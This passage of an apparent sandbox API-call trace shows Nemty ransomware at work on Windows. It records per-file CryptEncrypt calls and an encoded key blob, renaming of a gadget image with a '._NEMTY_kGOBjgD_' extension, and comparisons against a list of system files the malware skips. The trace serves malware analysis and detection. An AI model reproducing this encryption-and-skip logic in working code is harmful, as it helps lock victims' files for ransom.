lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0128.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="combo-hover-right.png", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="combo-hover-right.png", lpUsedDefaultChar=0x0) returned 21 [0128.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0128.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401c8 [0128.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0128.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340110 [0128.327] Sleep (dwMilliseconds=0x5) [0128.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2494d0, dwHighDateTime=0x1d561e8)) [0128.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2494d0, dwHighDateTime=0x1d561e8)) [0128.339] GetLastError () returned 0x5 [0128.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0128.339] GetLastError () returned 0x5 [0128.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0128.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0128.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0128.339] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0128.339] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0128.339] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0128.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0128.339] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653e91c | out: pszString="5lUvJgcv1Z59l4bMXqgsywLviOH1L5FprXms+RQg3KDCIQ2N9pipwuk5Wa2k8wAf\r\nt5CfYGXQGmrAiwJtrZqGA5OUDkcUbx5qa+x/0LLsVx94NmXeXrQfTblzzFoDDf5g\r\nhaEu7CwbG27FZ2njUiDcGwmV8lCfusxQbqdI7nXixoFvq845A1a2AKF5OdqMSt3z\r\nidfkgNg2K+9I7k2cMBGeGQeY+J5G9W7O+J1gevJIVJcBHye4r/pxKxYRzv7GgjEu\r\nlmxlwo6JCLGlvBNs7OjLClB0SR6C8NkR4tPDA9cinZQ1IJ18nuURhbRPa73INiZc\r\n3C4dQ0Cr8vc0bB00+GaWSQ==\r\n", pcchString=0x653e91c) returned 1 [0128.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0128.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0128.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0128.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0128.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0128.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0128.340] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0128.340] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0128.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0128.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.349] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.349] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.349] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.359] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.359] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.359] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.368] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.368] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.378] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.378] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.378] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.397] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.397] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.406] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.406] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.407] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.407] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.416] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.416] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.425] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.435] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.435] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.435] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0128.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0128.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340280, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0128.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0128.447] CloseHandle (hObject=0xffffffff) returned 0 [0128.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0128.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0128.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0128.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0128.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0128.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0128.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0128.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0128.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0128.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0128.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-right.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\combo-hover-right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\combo-hover-right.png._nemty_kgobjgd_")) returned 0 [0128.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0128.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0128.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0128.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0128.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0128.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0128.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0128.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0128.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.448] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.448] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8634c51d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8634c51d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a33d17, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="delete_down.png", cAlternateFileName="")) returned 1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2=".") returned 1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="..") returned 1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="...") returned 1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="windows") returned -1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="$RECYCLE.BIN") returned 1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="rsa") returned -1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="NTDETECT.COM") returned -1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="ntldr") returned -1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="MSDOS.SYS") returned -1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="IO.SYS") returned -1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="boot.ini") returned 1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="boot.ini") returned 1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="ntuser.dat") returned -1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="desktop.ini") returned -1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="CONFIG.SYS") returned 1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="RECYCLER") returned -1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="BOOTSECT.BAK") returned 1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="bootmgr") returned 1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="programdata") returned -1 [0128.448] lstrcmpiW (lpString1="delete_down.png", lpString2="appdata") returned 1 [0128.448] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.448] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_down.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0128.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_down.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_down.png", lpUsedDefaultChar=0x0) returned 15 [0128.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_down.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0128.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_down.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_down.png", lpUsedDefaultChar=0x0) returned 15 [0128.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0128.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_down.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0128.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_down.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_down.png", lpUsedDefaultChar=0x0) returned 15 [0128.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_down.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0128.449] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="delete_down.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="delete_down.png", lpUsedDefaultChar=0x0) returned 15 [0128.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0128.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0128.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0128.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0128.449] Sleep (dwMilliseconds=0x5) [0128.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x379fd0, dwHighDateTime=0x1d561e8)) [0128.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x379fd0, dwHighDateTime=0x1d561e8)) [0128.464] GetLastError () returned 0x5 [0128.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0128.464] GetLastError () returned 0x5 [0128.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0128.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0128.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0128.464] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0128.464] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0128.464] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0128.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0128.464] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: 